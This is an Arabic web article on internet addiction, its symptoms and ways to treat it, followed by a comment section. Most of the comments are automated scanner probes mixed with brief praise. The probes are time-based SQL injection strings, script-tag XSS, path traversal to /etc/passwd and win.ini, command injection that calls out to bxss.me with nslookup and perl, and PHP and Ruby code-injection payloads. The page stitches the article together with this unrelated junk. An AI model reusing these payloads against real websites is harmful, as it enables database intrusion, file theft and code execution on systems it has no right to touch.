ادمان الانترنت وكيفية علاجه.. هل تجد نفسك تقضي ساعات طويلة أمام الكمبيوتر أو الجوال دون شعور بالملل؟ إذا كانت الإجابة نعم، فأنت لست وحدك فإدمان الإنترنت يعتبر من أشهر الإدمانات السلوكية التي يتعرض لها الناس في حياتهم اليومية، ولكن هل تعرف أن ادمان الانترنت يؤدي إلى آثار سلبية على المدى البعيد على الصحة النفسية والعلاقات الاجتماعية؟ في هذا المقال سنشرح كيفية معرفة أعراض ادمان الانترنت وكيفية علاجه.
أعراض ادمان الانترنت
انتشار ادمان الانترنت في الوطن العربي يشكل مشكلة قائمة تتطلب اهتمامًا كبيرًا من قبل المتخصصين، ومن بين أعراض الإدمان على الهواتف الذكية والإنترنت، يمكن ذكر ما يلي:
- الإحساس بالقلق والارتباك والتوتر عندما تفتح تطبيقًا معينًا أو تصفح موقعًا معينًا على الإنترنت.
- الحاجة الملحة والشديدة للاستخدام المستمر للجوال أو الإنترنت على مدار الساعة دون انقطاع أو توقف.
- الإحساس بعدم الرضا والقلق والضغط النفسي عندما تستخدم الهاتف أو تصفح الإنترنت لفترة قصيرة من الزمن فقط.
- الإفراط في استخدام الهاتف المحمول أو الإنترنت بشكل يومي وبشكل متواصل دون أي توقف أو انقطاع لفترات طويلة.
- الانعزال الاجتماعي والتفرد وعدم الرغبة في التواصل مع الآخرين والتفاعل معهم في المجتمع.
- الإفراط في اللجوء إلى الإنترنت كوسيلة للتعامل مع المشاكل النفسية أو الانطوائية والاكتئاب.
- الإدمان على الألعاب الإلكترونية والتصفح الدائم لمواقع التواصل الاجتماعي والفيديوهات على الإنترنت دون أي توقف أو تردد.
- تعرض الأداء الأكاديمي والعملي للتدهور والضعف بشدة بسبب الإدمان على الشبكة العنكبوتية.
طرق علاج ادمان الانترنت
من الضروري توعية المجتمع وتثقيف الأفراد حول خطورة إدمان الإنترنت وتأثيره السلبي على الصحة النفسية، وتطبيق طرق علاج ادمان الانترنت التالية:
- الاعتراف بالإدمان: أول خطوة في علاج ادمان الانترنت هي الاعتراف بأنك مدمن وتحتاج للعلاج لتحسين حياتك الاجتماعية والصحية.
- تحديد الأسباب: يجب تحديد الأسباب وراء إدمان الإنترنت، وهو ما يمكن أن يساعد في تجنبها في المستقبل.
- تخصيص الوقت: حدد وقت محدد لاستخدام الإنترنت واتبعه، وتجنب استخدام الإنترنت بشكل مفرط.
- المشاركة في الأنشطة الاجتماعية: تجنب الانعزال والبحث عن الأنشطة الاجتماعية التي تعجبك، والتي يمكن أن تساعد في تحسين حالتك النفسية.
- الحفاظ على النظام الغذائي والنوم الجيد: يجب الحفاظ على النظام الغذائي الصحي والنوم الجيد لتعزيز الصحة العقلية.
- الانضمام لجلسات العلاج: تجنب محاولة العلاج بنفسك والانضمام لجلسات العلاج لتحسين حالتك النفسية والاجتماعية.
- البحث عن الدعم: تحدث مع الأشخاص المقربين إليك والمحبين والبحث عن الدعم والمساندة في تخطي ادمان الانترنت.
- البحث عن هواية جديدة: تجنب الوقوع في إدمان الإنترنت مرة أخرى من خلال البحث عن هواية جديدة، والتي يمكن أن تشغل وقتك.
- التحديات الذاتية: تحدى نفسك في تخفيف وقت استخدام الإنترنت والتركيز على نشاط بديل يساعد في تحسين صحتك النفسية.
- المحافظة على التقدم: تذكر أن العلاج لإدمان الإنترنت يحتاج إلى الصبر والاستمرارية، وأن الأمر يستحق التحدي والمضي قدمًا نحو العلاج والتحسين.
- تقليل ساعات الاستخدام: يمكن علاج ادمان الانترنت من خلال تقليل الوقت الذي تقضيه على الإنترنت وخاصةً على مواقع التواصل الاجتماعي، وذلك عن طريق تحديد أوقات محددة للتصفح وتخفيف عدد ساعات تصفحه يوميًا.
إذا كنت تشعر بأعراض ادمان الانترنت فلا بد لك من العمل على تحسين سلوكياتك المتعلقة باستخدام الإنترنت، والقيام بتحديد العادات التي تسبب لك الإدمان واعمل على تغيير هذه العادات بأخرى أكثر إيجابية ومفيدة أو محاولة الخروج والتواصل مع الآخرين في العالم الحقيقي، كما يمكن اللجوء إلى المساعدة من المعالجين النفسيين إذا أصبح الإدمان شديدًا.
,ممتاز رائع جدا
-1)) OR 306=(SELECT 306 FROM PG_SLEEP(15))--
73RmptjE' OR 520=(SELECT 520 FROM PG_SLEEP(15))--
gCWOwbPC') OR 782=(SELECT 782 FROM PG_SLEEP(15))--
ZeWzFVkg')) OR 939=(SELECT 939 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
@@ts6BJ
555
555
555
555
555
555
555
555
رائعه
cPkA6aLD' OR 980=(SELECT 980 FROM PG_SLEEP(15))--
6Nfpef4A') OR 474=(SELECT 474 FROM PG_SLEEP(15))--
qZ4WIojm')) OR 559=(SELECT 559 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
@@04WeY
555
555
555
555
555
555
555
555
رائع
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
IdVysHwo'; waitfor delay '0:0:15' --
-5 OR 491=(SELECT 491 FROM PG_SLEEP(15))--
-5) OR 48=(SELECT 48 FROM PG_SLEEP(15))--
-1)) OR 130=(SELECT 130 FROM PG_SLEEP(15))--
vgeMw6zP' OR 681=(SELECT 681 FROM PG_SLEEP(15))--
chGyF7AL') OR 960=(SELECT 960 FROM PG_SLEEP(15))--
kmfdbivV')) OR 429=(SELECT 429 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
@@4X5pR
555
555
555
555
555
555
555
555
مواقع جيدة جدا
xhuqhQEd
1*555
1*555
1*555
1*555
-1 OR 2+749-749-1=0+0+0+1
-1 OR 3+749-749-1=0+0+0+1
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
Ovj8cyqv'; waitfor delay '0:0:15' --
-5 OR 607=(SELECT 607 FROM PG_SLEEP(15))--
-5) OR 53=(SELECT 53 FROM PG_SLEEP(15))--
-1)) OR 634=(SELECT 634 FROM PG_SLEEP(15))--
Q37VCC1v' OR 241=(SELECT 241 FROM PG_SLEEP(15))--
13h5rpl4') OR 963=(SELECT 963 FROM PG_SLEEP(15))--
q87agPZw')) OR 904=(SELECT 904 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
@@R3xVj
555
555
555
555
555
555
555
555
مواقع جيدة جدا
'"()&%<acx><ScRiPt >iXg8(9450)</ScRiPt>
5559092664
555
555
8LAZvdQs
-1 OR 2+877-877-1=0+0+0+1 --
-1 OR 2+444-444-1=0+0+0+1
-1' OR 2+496-496-1=0+0+0+1 --
-1' OR 2+524-524-1=0+0+0+1 or 'PW2yykZS'='
-1" OR 2+996-996-1=0+0+0+1 --
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
mEz97sZ8'; waitfor delay '0:0:15' --
-5 OR 359=(SELECT 359 FROM PG_SLEEP(15))--
-5) OR 291=(SELECT 291 FROM PG_SLEEP(15))--
-1)) OR 997=(SELECT 997 FROM PG_SLEEP(15))--
VViY6slv' OR 912=(SELECT 912 FROM PG_SLEEP(15))--
zJOLnUWA') OR 542=(SELECT 542 FROM PG_SLEEP(15))--
MP7bJpBX')) OR 945=(SELECT 945 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
@@doxes
555
555
555
555
555
555
جيدا جدا
response.write(9190223*9223640)
'+response.write(9190223*9223640)+'
"+response.write(9190223*9223640)+"
Ovjm8fcX
555<esi:include src="http://bxss.me/rpb.png"/>
555
bcc:009247.6525-13108.6525.12a6d.19853.2@bxss.me
${9999007+9999772}
to@example.com>
bcc:009247.6525-13109.6525.12a6d.19853.2@bxss.me
echo ndizcs$()\ cmqhcx\nz^xyu||a #' &echo ndizcs$()\ cmqhcx\nz^xyu||a #|" &echo ndizcs$()\ cmqhcx\nz^xyu||a #
../../../../../../../../../../../../../../etc/passwd
&echo ocvvyu$()\ vhshme\nz^xyu||a #' &echo ocvvyu$()\ vhshme\nz^xyu||a #|" &echo ocvvyu$()\ vhshme\nz^xyu||a #
|echo bnyank$()\ fytagi\nz^xyu||a #' |echo bnyank$()\ fytagi\nz^xyu||a #|" |echo bnyank$()\ fytagi\nz^xyu||a #
../../../../../../../../../../../../../../windows/win.ini
(nslookup hitjqrhobzqrje4536.bxss.me||perl -e "gethostbyname('hitjqrhobzqrje4536.bxss.me')")
555&n902594=v936501
$(nslookup hitmpdjidydxtd82c4.bxss.me||perl -e "gethostbyname('hitmpdjidydxtd82c4.bxss.me')")
555
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
&(nslookup hitdsojustbjce79cc.bxss.me||perl -e "gethostbyname('hitdsojustbjce79cc.bxss.me')")&'\"`0&(nslookup hitdsojustbjce79cc.bxss.me||perl -e "gethostbyname('hitdsojustbjce79cc.bxss.me')")&`'
1some_inexistent_file_with_long_name .jpg
|(nslookup hitnfcpklxkxc60b97.bxss.me||perl -e "gethostbyname('hitnfcpklxkxc60b97.bxss.me')")
../555
Http://bxss.me/t/fit.txt
`(nslookup hitczjkcegfmea720e.bxss.me||perl -e "gethostbyname('hitczjkcegfmea720e.bxss.me')")`
http://bxss.me/t/fit.txt?.jpg
;(nslookup hitvvssuqtzywe6a82.bxss.me||perl -e "gethostbyname('hitvvssuqtzywe6a82.bxss.me')")|(nslookup hitvvssuqtzywe6a82.bxss.me||perl -e "gethostbyname('hitvvssuqtzywe6a82.bxss.me')")&(nslookup hitvvssuqtzywe6a82.bxss.me||perl -e "gethostbyname('hitvvssuqtzywe6a82.bxss.me')")
)
/etc/shells
!(()&&!|*|*|
555
c:/windows/win.ini
'"()
bxss.me
^(#$!@#$)(()))******
'.gethostbyname(lc('hitro'.'tmtzxjej42cbc.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(84).chr(118).chr(85).'
".gethostbyname(lc("hitag"."hsaqgwgqb95ea.bxss.me."))."A".chr(67).chr(hex("58")).chr(111).chr(78).chr(111).chr(82)."
555
HttP://bxss.me/t/xss.html?%00
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
bxss.me/t/xss.html?%00
';print(md5(31337));$a='
555
";print(md5(31337));$a="
${@print(md5(31337))}
"+"A".concat(70-3).concat(22*4).concat(110).concat(66).concat(108).concat(81)+(require"socket"
Socket.gethostbyname("hitdd"+"sjdoqhyp943db.bxss.me.")[3].to_s)+"
${@print(md5(31337))}\
'+'A'.concat(70-3).concat(22*4).concat(97).concat(66).concat(117).concat(73)+(require'socket'
Socket.gethostbyname('hitua'+'kjxfxoby876e2.bxss.me.')[3].to_s)+'
'.print(md5(31337)).'
store
store
store/.
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
/xfs.bxss.me
'"
555'"()&%<acx><ScRiPt >WGG2(9391)</ScRiPt>
<!--
'"()&%<acx><ScRiPt >WGG2(9133)</ScRiPt>
5559859842
555
555
97BnFAXZ
-1 OR 2+494-494-1=0+0+0+1 --
-1 OR 2+217-217-1=0+0+0+1
-1' OR 2+302-302-1=0+0+0+1 --
-1' OR 2+803-803-1=0+0+0+1 or '29Hm9Cy0'='
-1" OR 2+244-244-1=0+0+0+1 --
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
tLnlKjTk'; waitfor delay '0:0:15' --
-5 OR 87=(SELECT 87 FROM PG_SLEEP(15))--
-5) OR 921=(SELECT 921 FROM PG_SLEEP(15))--
-1)) OR 975=(SELECT 975 FROM PG_SLEEP(15))--
0DNV9NHg' OR 123=(SELECT 123 FROM PG_SLEEP(15))--
C0no54Qe') OR 659=(SELECT 659 FROM PG_SLEEP(15))--
aHhy2b3O')) OR 668=(SELECT 668 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
@@q8AS9
555
555
555
555
555
555
555
555
bJXz8WD2
-1 OR 2+978-978-1=0+0+0+1 --
-1 OR 2+354-354-1=0+0+0+1
-1' OR 2+121-121-1=0+0+0+1 --
-1' OR 2+159-159-1=0+0+0+1 or 'NXXGeiQj'='
-1" OR 2+696-696-1=0+0+0+1 --
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
g1XuvdyY'; waitfor delay '0:0:15' --
-5 OR 320=(SELECT 320 FROM PG_SLEEP(15))--
-5) OR 315=(SELECT 315 FROM PG_SLEEP(15))--
-1)) OR 268=(SELECT 268 FROM PG_SLEEP(15))--
ST63hFG8' OR 773=(SELECT 773 FROM PG_SLEEP(15))--
jPoIav8Y') OR 865=(SELECT 865 FROM PG_SLEEP(15))--
KkmfZlwg')) OR 152=(SELECT 152 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
@@ptesh
555
555
555
555
555
555
يجب تسجيل الدخول لإضافة تعليق